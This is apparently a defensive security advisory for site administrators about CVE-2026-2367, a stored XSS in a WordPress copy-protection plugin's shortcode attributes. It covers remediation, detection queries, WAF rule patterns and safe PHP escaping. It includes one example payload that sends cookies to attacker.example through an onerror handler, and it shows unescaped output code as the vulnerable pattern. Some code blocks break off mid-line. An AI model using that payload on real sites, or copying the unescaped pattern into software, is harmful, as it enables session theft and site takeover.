| Nom du plugin | Protection de contenu Secure Copy et verrouillage de contenu |
|---|---|
| Type de vulnérabilité | Script intersite (XSS) |
| Numéro CVE | CVE-2026-2367 |
| Urgence | Faible |
| Date de publication CVE | 2026-02-24 |
| URL source | CVE-2026-2367 |
XSS stocké par un contributeur authentifié dans ‘Protection de contenu par copie sécurisée’ — Ce que cela signifie et comment y répondre
Date : 2026-02-24 | Auteur : Expert en sécurité de Hong Kong
TL;DR
Le Cross‑Site Scripting (XSS) stocké (CVE‑2026‑2367) affecte la Protection de contenu par copie sécurisée et le verrouillage de contenu (≤ 5.0.1). Un contributeur authentifié peut injecter une charge utile malveillante via un attribut de shortcode qui est stocké et exécuté plus tard lorsqu'un utilisateur ayant des privilèges plus élevés consulte la page affectée. Le fournisseur a corrigé le problème dans la version 5.0.2. Action immédiate : valider l'installation, mettre à niveau vers 5.0.2+ ou appliquer des atténuations temporaires (désactiver le plugin, restreindre la création de contenu, scanner et nettoyer). Ci-dessous se trouve une explication technique, des conseils de détection et de remédiation, et des étapes pratiques pour les sites et administrateurs basés à Hong Kong.
Contexte et impact
- Vulnérabilité : Cross‑Site Scripting (XSS) stocké via un attribut de shortcode
- Logiciel affecté : Protection de contenu par copie sécurisée et verrouillage de contenu — versions ≤ 5.0.1
- Corrigé dans : 5.0.2
- CVE : CVE‑2026‑2367
- Signalé : 24 févr., 2026
- Privilège requis pour l'injection : Contributeur
- CVSS (rapporté) : 6.5 — modéré
Pourquoi cela importe : Les comptes de contributeurs sont couramment utilisés pour des articles invités et la collaboration. Si les contributeurs peuvent stocker des attributs de shortcode contenant du JS exécutable, les attaquants peuvent provoquer l'exécution de scripts dans le navigateur des éditeurs ou des administrateurs qui consultent le contenu. Le XSS stocké peut permettre le vol de session, l'escalade de privilèges et la compromission du site.
Comment cette vulnérabilité particulière fonctionne (résumé technique)
Les shortcodes WordPress sont gérés par des rappels qui reçoivent des attributs ($atts). Si le plugin sort des valeurs d'attribut sans une bonne désinfection et échappement, des attributs contenant du HTML/JS peuvent s'exécuter dans le navigateur d'un autre utilisateur. Dans ce cas, un contributeur peut enregistrer un attribut de shortcode conçu qui est ensuite rendu et exécuté lorsque un utilisateur privilégié consulte la page.
Exemple conceptuel (ne pas exécuter) :
[secure_copy attr="<img src="x" onerror="fetch('https://attacker.example/steal?c='" + document.cookie)>"]Avertissements importants :
- Les contributeurs manquent généralement de unfiltered_html, mais les attributs de shortcode et les champs de saisie de plugin peuvent contourner cette restriction.
- L'exploitation nécessite généralement qu'un utilisateur privilégié consulte ou prévisualise la page.
Scénarios d'attaque
- Programme d'auteur invité : L'attaquant soumet un contenu brouillon avec des attributs de shortcode malveillants ; l'éditeur/l'administrateur prévisualise et déclenche la charge utile.
- Compte de contributeur compromis : L'attaquant modifie les publications pour inclure des charges utiles ; les visiteurs ou les administrateurs sont affectés lors de la visualisation.
- Ingénierie sociale + révision : L'attaquant attire des utilisateurs privilégiés vers une page malveillante (lien direct vers un brouillon ou un aperçu de publication).
Objectifs potentiels de l'attaquant : vol de données d'identification, actions privilégiées via le contexte de session, scripts malveillants persistants, création de portes dérobées ou de comptes, et distribution de charges utiles supplémentaires aux visiteurs du site.
Évaluation des risques — qui devrait s'inquiéter le plus ?
- Sites acceptant du contenu invité ou des soumissions de contributeurs sans modération stricte.
- Sites où les éditeurs/admins prévisualisent ou examinent fréquemment le contenu.
- Sites avec le plugin vulnérable installé et non corrigé (≤ 5.0.1).
Considérez cela comme actionnable pour tout site de production utilisant le plugin. Même des entrées à faible privilège peuvent être exploitées pour s'exécuter dans le navigateur d'un utilisateur privilégié.
Liste de contrôle de remédiation immédiate (que faire dès maintenant)
- Mise à niveau : Mettez à jour le plugin vers la version 5.0.2 ou ultérieure — c'est la solution définitive.
- Si vous ne pouvez pas mettre à jour immédiatement, atténuations temporaires :
- Désactivez ou désactivez le plugin jusqu'à ce qu'il soit corrigé.
- Restreindre les soumissions de contributeurs : suspendre les inscriptions publiques, définir les soumissions sur modération uniquement.
- Utilisez un WAF ou un filtrage en bordure disponible pour bloquer les charges utiles d'exploitation évidentes (onerror=, , javascript:, data: URIs).
- Conseillez aux éditeurs/admins d'éviter de prévisualiser du contenu non fiable tant qu'il n'est pas corrigé.
- Scanner pour des indicateurs : Recherchez des publications et des postmeta pour des motifs suspects (attributs de shortcode contenant onerror=, , javascript:, charges utiles base64).
- Si vous trouvez une exploitation probable :
- Changez les mots de passe des administrateurs et des éditeurs.
- Supprimez ou mettez en quarantaine les publications/attributs malveillants après exportation et collecte de preuves.
- Vérifiez les nouveaux utilisateurs privilégiés et les modifications de fichiers inattendues.
- Restaurer à partir d'une sauvegarde propre si nécessaire.
- Enregistrez et conservez les preuves : Exportez les ID de publication, les charges utiles brutes, les horodatages — évitez la divulgation publique des charges utiles d'exploitation.
Détection et recherche de XSS par shortcode stocké
Cibles à rechercher :
- wp_posts.post_content pour l'utilisation de shortcode (par exemple, [secure_copy …])
- wp_postmeta pour les attributs ou paramètres stockés par le plugin
- Modifications récentes par des comptes de contributeurs
- Modèles : ‘<‘, ‘onerror=’, ‘javascript:’, ‘src=’, ‘data:’, ‘base64’
Exemples de requêtes SQL (lecture seule d'abord) :
SELECT ID, post_title, post_author, post_date FROM wp_posts WHERE post_content LIKE '%[secure_copy %';Export suspicious entries for incident handling. Confirm where the plugin stores data before deleting content to avoid data loss.
Example payload and safe sanitization patterns
Unsafe pattern:
// insecure output: directly returning attribute value
return '<div class="secure-copy">' . $atts['message'] . '</div>';Safer patterns:
// sanitize on input and escape on output
$atts['message'] = sanitize_text_field( $atts['message'] );
return '<div class="secure-copy">' . esc_html( $atts['message'] ) . '</div>';
// allow limited HTML
$allowed = array(
'a' => array( 'href' => array(), 'title' => array(), 'rel' => array() ),
'strong' => array(),
'em' => array(),
);
$safe = wp_kses( $atts['message'], $allowed );
return '<div class="secure-copy">' . $safe . '</div>';
// when used in attributes
$attr = esc_attr( sanitize_text_field( $atts['label'] ) );
return '<button aria-label="' . $attr . '">Copy</button>';Never echo raw attribute data. Use both input sanitization and output escaping (sanitize_* on input, esc_* on output).
Code‑level patch example (illustrative)
Replace insecure:
function scp_shortcode_handler( $atts ) {
$atts = shortcode_atts( array( 'label' => '' ), $atts );
return '<span class="scp-label">' . $atts['label'] . '</span>';
}With secure:
function scp_shortcode_handler( $atts ) {
$atts = shortcode_atts( array( 'label' => '' ), $atts );
// sanitize and escape
$label = sanitize_text_field( $atts['label'] );
return '<span class="scp-label">' . esc_html( $label ) . '</span>';
}If limited markup is required, use wp_kses with a strict allowed list. Always escape when outputting into HTML or attributes.
Protections and virtual patching (generic guidance)
If you operate a web application firewall (WAF) or edge filtering, you can deploy temporary mitigations such as blocking typical XSS markers in content submissions, sanitizing suspicious inputs before storage, and monitoring for exploit attempts. These measures do not replace the vendor patch but can reduce exposure while you apply the fix.
Key mitigation approaches:
- WAF rules to detect and block requests containing onerror=, <script>, javascript:, or obvious obfuscation in shortcode submissions.
- Input sanitizers at the application edge that strip unsafe attributes from shortcode-like strings before they are stored.
- Content scanning across wp_posts and wp_postmeta to detect stored malicious payloads.
- Monitoring and alerting for repeated exploit attempts or anomalous submissions from new accounts.
Practical WAF rule examples (conceptual)
These are conceptual rules to illustrate detection logic; test and tune before deploying:
1) Block requests where payload contains "onerror=" inside a shortcode submission:
RequestBody|ARGS:CONTAINS /\[secure_copy[^\]]*onerror\s*=/i
2) Block REST API content submissions with typical XSS markers in attributes:
RequestURI|ARGS:CONTAINS /wp/v2/.* AND RequestBody|ARGS|JSON:CONTAINS /onerror|Carefully tune rules to avoid false positives (e.g., legitimate content that includes the word "script" for other reasons).
Hardening contributor workflows (best practices)
- Moderation: Keep Editors to moderate Contributor submissions; avoid automatic publishing from Contributors.
- Minimize unfiltered HTML: Ensure Contributors do not have unfiltered_html capability unless essential.
- Limit shortcode usage: Restrict use of risky shortcodes to trusted roles or validate shortcode attributes server-side.
- Automated scans: Flag new submissions with HTML event handlers or suspicious URIs.
- Account hygiene: Disable unnecessary public registration, require strong passwords, and enforce 2FA for Editors/Admins where possible.
Incident response checklist (if exploitation is suspected)
- Contain: Disable the vulnerable plugin immediately or apply edge filtering to block exploit attempts. Restrict browsing of untrusted content by privileged users.
- Investigate: Identify posts with malicious shortcode payloads, review logs for suspicious logins or privilege changes, and check filesystem integrity.
- Eradicate: Remove malicious content and backdoors, rotate credentials and API keys.
- Recover: Restore from clean backups and reapply security updates after testing in staging.
- Review & learn: Document root cause, timeline, and implement preventive controls (role hardening, content scanning, patch processes).
For developers: safe shortcode patterns and unit testing
Recommended practices:
- Create unit tests to ensure attributes are escaped in rendered output.
- Add integration tests that simulate Contributor submissions and verify saved content contains no executable contexts.
- Use static analysis and linter rules to flag direct output of unescaped variables.
Example PHPUnit test idea:
public function test_shortcode_escapes_attribute() {
$output = do_shortcode('[secure_copy label="<img src=x onerror=>"]');
$this->assertStringNotContainsString('onerror=', $output);
$this->assertStringNotContainsString('Why automatic updates and monitoring matter
Patching removes the vulnerability, but many sites lag behind updates. Attackers scan for known-vulnerable versions; every unpatched day increases exposure. Combine rapid updates with monitoring and layered controls (edge filtering, content scanning, and role hygiene) to reduce risk.
Recommended timeline — what to do in the next 72 hours
- Hour 0–6: Confirm whether the plugin is installed and its version. If ≤ 5.0.1, plan to update immediately or disable the plugin.
- Hour 6–24: Run content scans for suspicious shortcodes/attributes. Apply edge filtering or WAF rules where available. Restrict Contributor submissions.
- Day 2–3: Test and deploy plugin update (5.0.2+) in staging, then production. Rotate credentials if compromise suspected. Re-scan for malicious content.
- Ongoing: Continuous monitoring, scheduled malware scans, and periodic role audits.
Final thoughts — defence in depth
This shortcode attribute stored XSS emphasises two principles:
- Treat all plugin input as hostile: sanitise and escape rigorously.
- Low‑privilege users can still create high‑impact risks if their input is rendered in privileged contexts.
Action items: upgrade the plugin to 5.0.2+, enforce strict role management, scan for malicious content, and apply temporary edge filters if you cannot patch immediately. If you need local assistance, consider engaging a trusted incident response or security consultancy familiar with WordPress operations in Hong Kong and the APAC region.
Stay vigilant,
Hong Kong Security Expert
